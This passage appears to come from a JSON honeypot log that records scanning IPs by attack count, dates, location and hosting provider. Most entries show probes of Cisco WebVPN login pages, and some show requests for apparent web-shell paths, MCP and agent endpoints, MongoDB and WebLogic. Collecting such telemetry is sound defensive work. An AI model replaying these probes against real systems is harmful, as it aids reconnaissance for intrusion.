      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "185.156.46.136": {
      "attack_count": 18,
      "first_seen": "2026-05-02T06:09:19.000Z",
      "last_seen": "2026-05-29T21:09:23.405Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.160.24.80": {
      "attack_count": 18,
      "first_seen": "2026-05-05T05:51:28.516Z",
      "last_seen": "2026-05-27T01:08:36.707Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 30671,
      "as_org": "Data Bridge Limited"
    },
    "23.234.101.24": {
      "attack_count": 18,
      "first_seen": "2026-05-06T00:36:01.501Z",
      "last_seen": "2026-05-31T02:17:44.925Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.106.39": {
      "attack_count": 18,
      "first_seen": "2026-05-08T22:57:52.996Z",
      "last_seen": "2026-05-22T14:51:59.589Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.96.164": {
      "attack_count": 18,
      "first_seen": "2026-05-07T12:22:40.196Z",
      "last_seen": "2026-05-20T09:23:49.389Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "155.2.191.184": {
      "attack_count": 16,
      "first_seen": "2026-05-11T11:59:23.791Z",
      "last_seen": "2026-05-29T11:07:53.607Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "104.36.50.19": {
      "attack_count": 15,
      "first_seen": "2026-05-05T05:14:20.057Z",
      "last_seen": "2026-05-29T14:34:33.046Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.234.98.81": {
      "attack_count": 15,
      "first_seen": "2026-05-02T06:54:57.575Z",
      "last_seen": "2026-05-29T15:05:53.311Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "109.94.216.177": {
      "attack_count": 14,
      "first_seen": "2026-05-26T04:36:44.178Z",
      "last_seen": "2026-05-30T08:49:15.287Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "136.234.240.101": {
      "attack_count": 14,
      "first_seen": "2026-05-29T17:26:17.665Z",
      "last_seen": "2026-05-29T19:20:23.212Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "142.111.193.10": {
      "attack_count": 14,
      "first_seen": "2026-05-29T17:06:00.789Z",
      "last_seen": "2026-05-30T00:09:31.524Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "142.252.110.18": {
      "attack_count": 14,
      "first_seen": "2026-05-27T23:43:45.952Z",
      "last_seen": "2026-05-29T17:32:06.604Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "146.255.186.28": {
      "attack_count": 14,
      "first_seen": "2026-05-28T00:53:38.722Z",
      "last_seen": "2026-05-29T02:39:03.546Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "2.57.148.69": {
      "attack_count": 14,
      "first_seen": "2026-05-26T12:07:48.772Z",
      "last_seen": "2026-05-30T07:22:34.116Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "45.147.247.102": {
      "attack_count": 14,
      "first_seen": "2026-05-29T21:55:03.061Z",
      "last_seen": "2026-05-30T02:07:29.147Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "146.70.165.97": {
      "attack_count": 12,
      "first_seen": "2026-05-05T01:40:21.673Z",
      "last_seen": "2026-05-26T13:54:17.208Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.187.161": {
      "attack_count": 12,
      "first_seen": "2026-05-08T23:35:00.713Z",
      "last_seen": "2026-05-25T20:56:11.629Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "185.213.193.200": {
      "attack_count": 12,
      "first_seen": "2026-05-06T00:39:15.429Z",
      "last_seen": "2026-05-11T11:27:27.218Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 21859,
      "as_org": "Zenlayer Inc"
    },
    "23.234.111.24": {
      "attack_count": 12,
      "first_seen": "2026-05-09T00:40:34.097Z",
      "last_seen": "2026-05-27T23:27:58.492Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.114.73": {
      "attack_count": 12,
      "first_seen": "2026-05-06T03:17:37.475Z",
      "last_seen": "2026-05-31T01:18:19.220Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.90.207": {
      "attack_count": 12,
      "first_seen": "2026-05-20T20:34:25.424Z",
      "last_seen": "2026-05-26T04:17:59.642Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "185.150.191.165": {
      "attack_count": 10,
      "first_seen": "2026-05-04T05:13:01.712Z",
      "last_seen": "2026-05-04T05:13:19.100Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /.well-known/agent.json HTTP/1.1\" 404 -",
        "\"GET /.well-known/mcp.json HTTP/1.1\" 404 -",
        "\"GET /mcp HTTP/1.1\" 404 -",
        "\"GET /v1/models HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Piscataway",
      "asn": 23470,
      "as_org": "ReliableSite.Net LLC"
    },
    "146.70.172.225": {
      "attack_count": 9,
      "first_seen": "2026-05-07T02:07:47.512Z",
      "last_seen": "2026-05-25T16:11:42.700Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "173.249.252.164": {
      "attack_count": 9,
      "first_seen": "2026-05-13T01:43:56.927Z",
      "last_seen": "2026-05-27T13:24:00.335Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "142.252.59.113": {
      "attack_count": 8,
      "first_seen": "2026-05-27T18:35:12.479Z",
      "last_seen": "2026-05-27T18:35:32.547Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "130.49.126.195": {
      "attack_count": 7,
      "first_seen": "2026-05-27T19:51:15.815Z",
      "last_seen": "2026-05-27T19:51:28.895Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Fox Island",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "136.0.102.5": {
      "attack_count": 7,
      "first_seen": "2026-05-29T16:33:08.041Z",
      "last_seen": "2026-05-29T16:33:23.572Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "138.249.208.23": {
      "attack_count": 7,
      "first_seen": "2026-05-27T09:11:24.709Z",
      "last_seen": "2026-05-27T09:11:38.551Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "142.252.106.239": {
      "attack_count": 7,
      "first_seen": "2026-05-27T18:42:08.333Z",
      "last_seen": "2026-05-27T18:42:20.091Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Francisco",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "142.252.82.93": {
      "attack_count": 7,
      "first_seen": "2026-05-27T15:12:45.081Z",
      "last_seen": "2026-05-27T15:12:59.219Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Francisco",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "172.120.161.216": {
      "attack_count": 7,
      "first_seen": "2026-05-29T22:27:27.251Z",
      "last_seen": "2026-05-29T22:27:43.325Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "186.243.128.37": {
      "attack_count": 7,
      "first_seen": "2026-05-29T22:38:59.929Z",
      "last_seen": "2026-05-29T22:39:11.983Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hammondsport",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "45.88.103.109": {
      "attack_count": 7,
      "first_seen": "2026-05-26T10:01:42.743Z",
      "last_seen": "2026-05-26T10:01:54.750Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Philadelphia",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "77.72.84.33": {
      "attack_count": 7,
      "first_seen": "2026-05-26T09:36:21.407Z",
      "last_seen": "2026-05-26T09:36:32.082Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "146.70.171.161": {
      "attack_count": 6,
      "first_seen": "2026-05-17T02:57:09.339Z",
      "last_seen": "2026-05-28T00:24:23.705Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "155.2.191.233": {
      "attack_count": 6,
      "first_seen": "2026-05-02T00:29:37.516Z",
      "last_seen": "2026-05-06T00:57:32.615Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "192.42.116.93": {
      "attack_count": 6,
      "first_seen": "2026-05-24T01:18:35.812Z",
      "last_seen": "2026-05-24T01:18:44.254Z",
      "ports": [],
      "event_types": [
        "\"GET /Ti-CA.php HTTP/1.1\" 404 -",
        "\"GET /_asterisk/Ultimatex.php?ed3b0941a97e7f9=admin&asd HTTP/1.1\" 404 -",
        "\"GET /recordings/Ultimatex.php?ed3b0941a97e7f9=admin&asd HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "23.234.114.207": {
      "attack_count": 6,
      "first_seen": "2026-05-08T11:55:08.823Z",
      "last_seen": "2026-05-30T06:52:21.125Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.115.207": {
      "attack_count": 6,
      "first_seen": "2026-05-27T19:07:50.116Z",
      "last_seen": "2026-05-29T15:06:15.233Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.69.23": {
      "attack_count": 6,
      "first_seen": "2026-05-04T12:11:17.815Z",
      "last_seen": "2026-05-16T07:14:56.661Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.74.74": {
      "attack_count": 6,
      "first_seen": "2026-05-04T17:19:46.126Z",
      "last_seen": "2026-05-04T22:06:06.837Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "66.132.172.182": {
      "attack_count": 6,
      "first_seen": "2026-05-22T12:22:42.945Z",
      "last_seen": "2026-05-22T12:23:08.697Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "66.132.186.174": {
      "attack_count": 6,
      "first_seen": "2026-05-13T02:26:19.577Z",
      "last_seen": "2026-05-13T02:26:40.574Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "170.64.182.38": {
      "attack_count": 5,
      "first_seen": "2026-05-11T08:33:18.522Z",
      "last_seen": "2026-05-11T08:33:31.818Z",
      "ports": [],
      "event_types": [
        "code 400",
        "\"4\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u00dd\u0007\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u001f\u0000\u0000\u0000\u0010hello\u0000\u0001\u0000\u0000\u0000\u0002$db\u0000\u0006\u0000\u0000\u0000admin\u0000\u0000\" 400 -",
        "\":\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u00d4\u0007\u0000\u0000\u0000\u0000\u0000\u0000admin.$cmd\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0013\u0000\u0000\u0000\u0010isMaster\u0000\u0001\u0000\u0000\u0000\u0000\" 400 -",
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "66.132.172.204": {
      "attack_count": 5,
      "first_seen": "2026-05-27T15:51:44.969Z",
      "last_seen": "2026-05-27T15:53:35.755Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "152.32.157.3": {
      "attack_count": 4,
      "first_seen": "2026-05-29T06:55:13.989Z",
      "last_seen": "2026-05-29T06:55:18.742Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"t3 12.1.2\" 400 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 400"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "165.154.173.120": {
      "attack_count": 4,
      "first_seen": "2026-05-04T01:27:01.303Z",
      "last_seen": "2026-05-04T01:27:05.435Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"t3 12.1.2\" 400 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 400"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "91.196.152.130": {
      "attack_count": 4,
      "first_seen": "2026-05-20T20:05:17.576Z",
      "last_seen": "2026-05-27T20:19:36.028Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
